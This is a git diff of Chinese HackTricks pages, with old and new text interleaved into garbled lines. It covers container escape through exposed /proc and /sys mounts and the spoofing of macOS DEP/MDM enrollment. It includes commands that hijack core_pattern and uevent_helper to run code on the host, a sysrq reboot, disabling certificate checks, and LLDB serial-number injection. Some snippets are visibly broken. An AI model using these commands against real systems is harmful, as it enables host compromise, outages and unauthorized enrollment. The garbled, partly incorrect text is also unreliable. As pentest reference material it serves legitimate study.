* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
(_**此信息取自**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)) 未经适当命名空间隔离的`/proc`和`/sys`的暴露会带来重大安全风险,包括增加攻击面和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供进一步攻击所需的信息。例如,不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护因为其基于路径的特性使`/host/proc`无保护。
由于缺乏命名空间支持,暴露`/proc`和`/sys`提供了大量的攻击面和信息泄露源。`procfs`和`sysfs`中的许多文件存在容器逃逸、主机修改或基本信息泄露的风险,这些泄露可能有助于其他攻击 您可以在[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)找到每个潜在漏洞的更多详细信息
为了滥用这些技术,可能仅仅需要**配置错误,例如`-v /proc:/host/proc`**,因为**AppArmor是基于路径的**,不保护`/host/proc`。 # procfs漏洞
# procfs ## `/proc/sys`
该目录允许通过`sysctl(2)`修改内核变量,并包含几个相关子目录:
## /proc/sys ### **`/proc/sys/kernel/core_pattern`**
- 在[core(5)](https://man7.org/linux/man-pages/man5/core.5.html)中描述。
`/proc/sys`通常允许访问并修改内核变量,通常通过`sysctl(2)`控制。 - 允许定义在生成核心文件时执行的程序前128字节作为参数。如果文件以管道`|`开头,可能导致代码执行。
- **测试和利用示例**
### /proc/sys/kernel/core\_pattern
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html)定义了在生成核心文件(通常是程序崩溃)时执行的程序,并且如果该文件的第一个字符是管道符号`|`则将核心文件作为标准输入传递。该程序由root用户运行并允许最多128字节的命令行参数。这将允许在容器主机中轻松执行代码只要发生任何崩溃和核心文件生成在众多恶意行为中可以简单地丢弃
```bash ```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing [ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入权限
cd /proc/sys/kernel cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序
sleep 5 && ./crash & sleep 5 && ./crash & # 触发处理程序
``` ```
### /proc/sys/kernel/modprobe
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) 包含内核模块加载器的路径,当加载内核模块时会调用它,例如通过 [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) 命令。可以通过执行任何将触发内核尝试加载内核模块的操作(例如使用 crypto-API 加载当前未加载的加密模块,或使用 ifconfig 为当前未使用的设备加载网络模块)来获得代码执行能力。 ### **`/proc/sys/kernel/modprobe`**
- 在[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)中详细描述。
- 包含内核模块加载器的路径,用于加载内核模块。
- **检查访问权限示例**
```bash ```bash
# Check if you can directly access modprobe ls -l $(cat /proc/sys/kernel/modprobe) # 检查对modprobe的访问权限
ls -l `cat /proc/sys/kernel/modprobe`
``` ```
### /proc/sys/vm/panic\_on\_oom
[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) 是一个全局标志用于确定内核在遇到内存不足OOM条件时是否会发生panic而不是调用OOM killer。这更像是一种拒绝服务DoS攻击而不是容器逃逸但它同样暴露了一个只应该由宿主机可用的能力。 ### **`/proc/sys/vm/panic_on_oom`**
- 在[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)中引用。
- 一个全局标志控制当发生OOM条件时内核是崩溃还是调用OOM killer。
### /proc/sys/fs ### **`/proc/sys/fs`**
- 根据[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html),包含有关文件系统的选项和信息。
- 写入权限可能导致对主机的各种拒绝服务攻击。
[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) 目录包含了关于文件系统各个方面的选项和信息的数组包括配额、文件句柄、inode和dentry信息。对这个目录具有写权限将允许对宿主机进行各种拒绝服务攻击。 ### **`/proc/sys/fs/binfmt_misc`**
- 允许根据其魔术数字为非本机二进制格式注册解释器。
- 如果`/proc/sys/fs/binfmt_misc/register`可写可能导致提权或获取root shell访问权限。
- 相关利用和解释:
- [通过binfmt_misc实现的简易rootkit](https://github.com/toffan/binfmt_misc)
- 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### /proc/sys/fs/binfmt\_misc ## `/proc`中的其他内容
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) 允许执行各种二进制格式这通常意味着可以为非本地二进制格式如Java注册各种**解释器**,基于它们的魔数。你可以通过注册处理程序使内核执行二进制文件。\ ### **`/proc/config.gz`**
你可以在 [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc) 找到一个利用程序_穷人的rootkit利用_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_的_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _选项通过任何suid二进制文件并获得root shell提升权限如果`/proc/sys/fs/binfmt_misc/register`是可写的。_ - 如果启用了`CONFIG_IKCONFIG_PROC`,可能会泄露内核配置。
- 对于攻击者来说,有助于识别运行中内核中的漏洞。
要更深入了解这项技术,请查看 [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ### **`/proc/sysrq-trigger`**
- 允许调用Sysrq命令可能导致立即系统重启或其他关键操作。
## /proc/config.gz - **重启主机示例**
[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) 取决于`CONFIG_IKCONFIG_PROC`设置,这会暴露一个压缩版的运行中内核的配置选项。这可能允许被破坏或恶意的容器轻松发现并针对内核中启用的脆弱区域。
## /proc/sysrq-trigger
`Sysrq` 是一个古老的机制,可以通过特殊的 `SysRq` 键盘组合来调用。这可以允许立即重启系统、发出 `sync(2)`、将所有文件系统重新挂载为只读、调用内核调试器以及其他操作。
如果客户端没有得到适当隔离,它可以通过向 `/proc/sysrq-trigger` 文件写入字符来触发 [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) 命令。
```bash ```bash
# Reboot the host echo b > /proc/sysrq-trigger # 重启主机
echo b > /proc/sysrq-trigger
``` ```
## /proc/kmsg
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) 可以暴露内核环形缓冲区消息,通常通过 `dmesg` 访问。暴露这些信息可以帮助内核漏洞利用触发内核地址泄露这可以帮助击败内核地址空间布局随机化KASLR并且是关于内核、硬件、被阻止的数据包和其他系统细节的一般信息泄露源。 ### **`/proc/kmsg`**
- 显示内核环形缓冲区消息。
- 可帮助内核利用、地址泄漏和提供敏感系统信息。
## /proc/kallsyms ### **`/proc/kallsyms`**
- 列出内核导出的符号及其地址。
- 对于内核利用开发至关重要特别是用于克服KASLR。
- 地址信息受`kptr_restrict`设置为`1`或`2`的限制。
- 详细信息请参阅[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) 包含内核导出符号及其地址位置的列表用于动态和可加载模块。这还包括物理内存中内核映像的位置这对于内核漏洞开发很有帮助。从这些位置可以找到内核的基地址或偏移量这可以用来克服内核地址空间布局随机化KASLR ### **`/proc/[pid]/mem`**
- 与内核内存设备`/dev/mem`交互。
- 在历史上容易受到提权攻击的影响。
- 更多信息请参阅[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
对于 `kptr_restrict` 设置为 `1``2` 的系统,这个文件将存在但不提供任何地址信息(尽管符号列表的顺序与内存中的顺序相同)。 ### **`/proc/kcore`**
- 以ELF核心格式表示系统的物理内存。
- 读取可能泄露主机系统和其他容器的内存内容。
- 大文件大小可能导致读取问题或软件崩溃。
- 详细用法请参阅[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
## /proc/\[pid]/mem ### **`/proc/kmem`**
- `/dev/kmem`的替代接口,表示内核虚拟内存。
- 允许读取和写入,因此可以直接修改内核内存。
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) 暴露了内核内存设备 `/dev/mem` 的接口。虽然 PID 命名空间可能保护免受某些攻击,但这个 `procfs` 向量历史上一直很脆弱,后来被认为是安全的,但又被发现对于权限提升是[脆弱的](https://git.zx2c4.com/CVE-2012-0056/about/)。 ### **`/proc/mem`**
- `/dev/mem`的替代接口,表示物理内存。
- 允许读取和写入,修改所有内存需要解析虚拟到物理地址。
## /proc/kcore ### **`/proc/sched_debug`**
- 返回进程调度信息绕过PID命名空间保护。
- 显示进程名称、ID和cgroup标识符。
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) 代表系统的物理内存,并且是以 ELF 核心格式(通常在核心转储文件中找到)。它不允许写入上述内存。能够读取此文件(限于特权用户)可能会泄露来自宿主系统和其他容器的内存内容。 ### **`/proc/[pid]/mountinfo`**
- 提供有关进程挂载命名空间中挂载点的信息。
- 显示容器`rootfs`或镜像的位置。
报告的大文件大小代表了架构的最大物理可寻址内存量,当读取它时可能会导致问题(或根据软件的脆弱性导致崩溃)。 ## `/sys`漏洞
[在 2019 年转储 /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) ### **`/sys/kernel/uevent_helper`**
- 用于处理内核设备`uevents`。
## /proc/kmem - 写入`/sys/kernel/uevent_helper`可以在`uevent`触发时执行任意脚本。
- **利用示例**
`/proc/kmem` 是 [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html)(其直接访问被 cgroup 设备白名单阻止)的另一个接口,它是一个代表内核虚拟内存的字符设备文件。它允许读写,允许直接修改内核内存。 %%%bash
# 创建有效载荷
## /proc/mem echo "#!/bin/sh" > /evil-helper
echo "ps > /output" >> /evil-helper
`/proc/mem` 是 [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html)(其直接访问被 cgroup 设备白名单阻止)的另一个接口,它是一个代表系统物理内存的字符设备文件。它允许读写,允许修改所有内存。(它比 `kmem` 需要更多的技巧,因为需要先将虚拟地址解析为物理地址)。
## /proc/sched\_debug
`/proc/sched_debug` 是一个特殊文件,返回整个系统的进程调度信息。这些信息包括来自所有命名空间的进程名称和进程 ID 以及进程 cgroup 标识符。这有效地绕过了 PID 命名空间保护,并且是其他/世界可读的,因此也可以在非特权容器中利用。
## /proc/\[pid]/mountinfo
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) 包含进程的挂载命名空间中的挂载点信息。它暴露了容器 `rootfs` 或镜像的位置。
# sysfs
## /sys/kernel/uevent\_helper
`uevents` 是内核在添加或移除设备时触发的事件。值得注意的是,通过写入 `/sys/kernel/uevent_helper` 可以修改 `uevent_helper` 的路径。然后,当触发 `uevent` 时(这也可以通过写入如 `/sys/class/mem/null/uevent` 等文件从用户空间完成),恶意的 `uevent_helper` 将被执行。
```bash
# Creates a payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper chmod +x /evil-helper
# Finds path of OverlayFS mount for container # 从OverlayFS挂载中找到容器的主机路径
# Unless the configuration explicitly exposes the mount point of the host filesystem host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html # 将uevent_helper设置为恶意助手
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets uevent_helper to /path/payload
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# Triggers a uevent # 触发uevent
echo change > /sys/class/mem/null/uevent echo change > /sys/class/mem/null/uevent
# or else # 读取输出
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# Reads the output
cat /output cat /output
``` %%%
## /sys/class/thermal
访问ACPI和各种硬件温度控制设置通常在笔记本电脑或游戏主板中找到。这可能允许对容器宿主进行DoS攻击甚至可能导致物理损坏。 ### **`/sys/class/thermal`**
- 控制温度设置,可能导致拒绝服务攻击或物理损坏。
## /sys/kernel/vmcoreinfo ### **`/sys/kernel/vmcoreinfo`**
- 泄露内核地址可能危及KASLR。
该文件可以泄露内核地址这可能用于击败KASLR。 ### **`/sys/kernel/security`**
- 包含`securityfs`接口允许配置Linux安全模块如AppArmor。
- 访问可能使容器能够禁用其MAC系统。
## /sys/kernel/security ### **`/sys/firmware/efi/vars`和`/sys/firmware/efi/efivars`**
- 提供与NVRAM中的EFI变量交互的接口。
- 配置错误或利用可能导致笔记本电脑变砖或主机无法启动。
在`/sys/kernel/security`挂载了`securityfs`接口它允许配置Linux安全模块。这允许配置[AppArmor策略](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor)因此访问这个可能允许容器禁用其MAC系统。 ### **`/sys/kernel/debug`**
- `debugfs`为内核提供“无规则”调试接口。
## /sys/firmware/efi/vars - 由于其无限制的特性,存在安全问题的历史。
`/sys/firmware/efi/vars`暴露了与EFI变量在NVRAM中交互的接口。虽然这对大多数服务器来说通常不相关但EFI变得越来越流行。权限弱点甚至导致了一些笔记本电脑变砖。
## /sys/firmware/efi/efivars
`/sys/firmware/efi/efivars`提供了一个接口用于写入用于UEFI启动参数的NVRAM。修改它们可能会使宿主机无法启动。
## /sys/kernel/debug
`debugfs`提供了一个“无规则”接口,内核(或内核模块)可以通过它创建用户空间可访问的调试接口。它过去有过一些安全问题,文件系统背后的“无规则”指导原则经常与安全限制发生冲突。
# 参考资料 # 参考资料
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [理解和加固Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [理解和加固Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) * [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,412 +1,66 @@
# 在其他组织中注册设备 # 将设备注册到其他组织
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想**HackTricks中看到您的公司广告****下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## 简介 ## 简介
如[**之前评论**](./#what-is-mdm-mobile-device-management)**** 为了尝试将设备注册到组织中,**只需要属于该组织的序列号**。一旦设备注册,多组织将在新设备上安装敏感数据证书、应用程序、WiFi密码、VPN配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\ 如[**先前评论的**](./#what-is-mdm-mobile-device-management)**,为了尝试将设备注册到一个组织中,只需要一个属于该组织的序列号**。一旦设备注册成功,多组织将在新设备上安装敏感数据证书、应用程序、WiFi密码、VPN配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
因此,如果注册过程没有正确保护,这可能是攻击者的危险入口点 因此,如果注册过程没有得到正确保护,这可能成为攻击者的危险入口
**以下研究取自** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe) **以下是研究的摘要[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。请查看以获取更多技术细节!**
## 反向过程 ## DEP和MDM二进制分析概述
### 参与DEP和MDM的二进制文件 该研究深入探讨了与设备注册计划DEP和移动设备管理MDM在macOS上相关的二进制文件。关键组件包括
在我们的研究中,我们探索了以下内容: - **`mdmclient`**与MDM服务器通信并在macOS 10.13.4之前的版本上触发DEP签入。
- **`profiles`**管理配置文件并在macOS 10.13.4及更高版本上触发DEP签入。
- **`cloudconfigurationd`**管理DEP API通信并检索设备注册配置文件。
* **`mdmclient`**由操作系统用来与MDM服务器通信。在macOS 10.13.3及更早版本中它也可以用来触发DEP签到。 DEP签入利用私有配置文件框架中的`CPFetchActivationRecord`和`CPGetActivationRecord`函数来获取激活记录,其中`CPFetchActivationRecord`通过XPC与`cloudconfigurationd`协调。
* **`profiles`**一个可以用来在macOS上安装、移除和查看配置文件的实用工具。它也可以用来在macOS 10.13.4及更新版本上触发DEP签到。
* **`cloudconfigurationd`**设备注册客户端守护进程负责与DEP API通信并检索设备注册配置文件。
使用`mdmclient`或`profiles`启动DEP签到时会使用`CPFetchActivationRecord`和`CPGetActivationRecord`函数来检索_激活记录_。`CPFetchActivationRecord`通过[XPC](https://developer.apple.com/documentation/xpc)将控制权委托给`cloudconfigurationd`然后从DEP API检索_激活记录_。 ## Tesla协议和Absinthe方案的逆向工程
`CPGetActivationRecord`从缓存中检索_激活记录_如果可用。这些函数定义在私有配置文件框架中位于`/System/Library/PrivateFrameworks/Configuration Profiles.framework` DEP签入涉及`cloudconfigurationd`向_iprofiles.apple.com/macProfile_发送加密、签名的JSON负载。负载包括设备的序列号和操作“RequestProfileConfiguration”。内部使用的加密方案称为“Absinthe”。解开这个方案是复杂的涉及多个步骤这导致探索插入激活记录请求中的任意序列号的替代方法
### 反向工程Tesla协议和Absinthe方案 ## 代理DEP请求
在DEP签到过程中`cloudconfigurationd`从_iprofiles.apple.com/macProfile_请求_激活记录_。请求负载是一个包含两个键值对的JSON字典 使用Charles Proxy等工具拦截和修改DEP请求到_iprofiles.apple.com_的尝试受到负载加密和SSL/TLS安全措施的阻碍。然而启用`MCCloudConfigAcceptAnyHTTPSCertificate`配置允许绕过服务器证书验证,尽管负载的加密性质仍然阻止在没有解密密钥的情况下修改序列号。
```
{
"sn": "",
action": "RequestProfileConfiguration
}
```
载荷使用内部称为“Absinthe”的方案进行签名和加密。加密后的载荷随后进行Base 64编码并用作HTTP POST请求的请求体发送到_iprofiles.apple.com/macProfile_。
在`cloudconfigurationd`中获取_Activation Record_由`MCTeslaConfigurationFetcher`类处理。从`[MCTeslaConfigurationFetcher enterState:]`开始的一般流程如下: ## 仪器化与DEP交互的系统二进制文件
```
rsi = @selector(verifyConfigBag);
rsi = @selector(startCertificateFetch);
rsi = @selector(initializeAbsinthe);
rsi = @selector(startSessionKeyFetch);
rsi = @selector(establishAbsintheSession);
rsi = @selector(startConfigurationFetch);
rsi = @selector(sendConfigurationInfoToRemote);
rsi = @selector(sendFailureNoticeToRemote);
```
由于 **Absinthe** 方案似乎是用来验证对 DEP 服务的请求的,**逆向工程** 这个方案将允许我们对 DEP API 进行自己的认证请求。然而,这证明是**耗时**的,主要是因为认证请求涉及的步骤数量。我们没有完全逆向这个方案是如何工作的,而是选择探索其他方法,作为 _激活记录_ 请求的一部分插入任意序列号。
### MITMing DEP 请求 仪器化系统二进制文件如`cloudconfigurationd`需要在macOS上禁用系统完整性保护SIP。禁用SIP后可以使用LLDB等工具附加到系统进程并可能修改DEP API交互中使用的序列号。这种方法更可取因为它避免了权限和代码签名的复杂性。
我们探索了使用 [Charles Proxy](https://www.charlesproxy.com) 代理对 _iprofiles.apple.com_ 网络请求的可行性。我们的目标是检查发送到 _iprofiles.apple.com/macProfile_ 的有效载荷,然后插入一个任意序列号并重放请求。如前所述,由 `cloudconfigurationd` 提交到该端点的有效载荷是 [JSON](https://www.json.org) 格式,并包含两个键值对。 **利用二进制仪器化:**
``` 在`cloudconfigurationd`中的JSON序列化之前修改DEP请求负载证明是有效的。该过程涉及
{
"action": "RequestProfileConfiguration",
sn": "
}
```
由于 _iprofiles.apple.com_ 的API使用了[传输层安全性](https://en.wikipedia.org/wiki/Transport\_Layer\_Security)TLS我们需要在Charles中为该主机启用SSL代理以查看SSL请求的明文内容。
然而,`-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` 方法会检查服务器证书的有效性,如果无法验证服务器信任,将会中止。 1. 将LLDB附加到`cloudconfigurationd`。
``` 2. 定位提取系统序列号的位置。
[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011 3. 在加密并发送负载之前将任意序列号注入内存。
"The Device Enrollment server trust could not be verified. Please contact your system
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
server trust could not be verified. Please contact your system administrator.,
MCErrorType=MCFatalError}
```
上面显示的错误消息位于一个名为_Errors.strings_的二进制文件中该文件的键为`CLOUD_CONFIG_SERVER_TRUST_ERROR`,位于`/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`路径下,与其他相关错误消息一起。
```
$ cd /System/Library/CoreServices
$ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>
```
_Errors.strings_ 文件可以使用内置的 `plutil` 命令[以人类可读格式打印](https://duo.com/labs/research/mdm-me-maybe#error_strings_output)。
```
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
```
在进一步研究了 `MCTeslaConfigurationFetcher` 类之后,我们发现,通过在 `com.apple.ManagedClient.cloudconfigurationd` 配置域上启用 `MCCloudConfigAcceptAnyHTTPSCertificate` 配置选项,可以绕过这种服务器信任行为。
```
loc_100006406:
rax = [NSUserDefaults standardUserDefaults];
rax = [rax retain];
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
r15 = r15;
[rax release];
if (r14 != 0x1) goto loc_10000646f;
```
`MCCloudConfigAcceptAnyHTTPSCertificate` 配置选项可以使用 `defaults` 命令设置。
```
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
```
在为 _iprofiles.apple.com_ 启用了 SSL 代理,并配置 `cloudconfigurationd` 接受任何 HTTPS 证书后,我们尝试在 Charles Proxy 中进行中间人攻击并重放请求。
然而,由于发送到 _iprofiles.apple.com/macProfile_ 的 HTTP POST 请求体中包含的有效载荷是用 Absinthe`NACSign`)签名和加密的,**无法修改纯文本 JSON 有效载荷以包含任意序列号,除非同时拥有解密它的密钥**。尽管有可能获得密钥,因为它保留在内存中,但我们转而探索使用 [LLDB](https://lldb.llvm.org) 调试器的 `cloudconfigurationd` 这种方法允许检索任意序列号的完整DEP配置文件展示了潜在的漏洞。
### 对与 DEP 交互的系统二进制文件进行插桩 ### 使用Python自动化仪器化
我们探索的最后一种方法,用于自动化向 _iprofiles.apple.com/macProfile_ 提交任意序列号的过程,是对直接或间接与 DEP API 交互的原生二进制文件进行插桩。这涉及到使用 [Hopper v4](https://www.hopperapp.com) 和 [Ida Pro](https://www.hex-rays.com/products/ida/) 对 `mdmclient`、`profiles` 和 `cloudconfigurationd` 进行一些初步探索,以及与 `lldb` 进行一些漫长的调试会话 使用LLDB API将利用过程自动化使得可以以编程方式注入任意序列号并检索相应的DEP配置文件。
这种方法相对于修改二进制文件并用我们自己的密钥重新签名的好处之一是,它可以绕过 macOS 内置的一些可能会阻碍我们的权限限制。 ### DEP和MDM漏洞的潜在影响
**系统完整性保护** 研究突出了重要的安全问题:
为了对 macOS 上的系统二进制文件(如 `cloudconfigurationd`)进行插桩,必须禁用 [系统完整性保护](https://support.apple.com/en-us/HT204899)SIP。SIP 是一种安全技术,用于保护系统级文件、文件夹和进程免受篡改,它默认在 OS X 10.11 “El Capitan” 及更高版本上启用。[可以通过](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) 启动到恢复模式并在终端应用程序中运行以下命令来禁用 SIP然后重启 1. **信息泄露**通过提供DEP注册的序列号可以检索DEP配置文件中包含的敏感组织信息。
``` 2. **虚假DEP注册**没有适当的身份验证具有DEP注册序列号的攻击者可以将虚假设备注册到组织的MDM服务器可能获取对敏感数据和网络资源的访问权限。
csrutil enable --without debug
```
请注意SIP 是一个有用的安全功能,除了在非生产机器上进行研究和测试目的外,不应该禁用它。在非关键虚拟机上进行这些操作也是可能的(并且推荐),而不是在宿主操作系统上。
**使用 LLDB 的二进制插桩** 总之虽然DEP和MDM为企业环境中管理苹果设备提供了强大的工具但它们也呈现出需要保护和监控的潜在攻击向量。
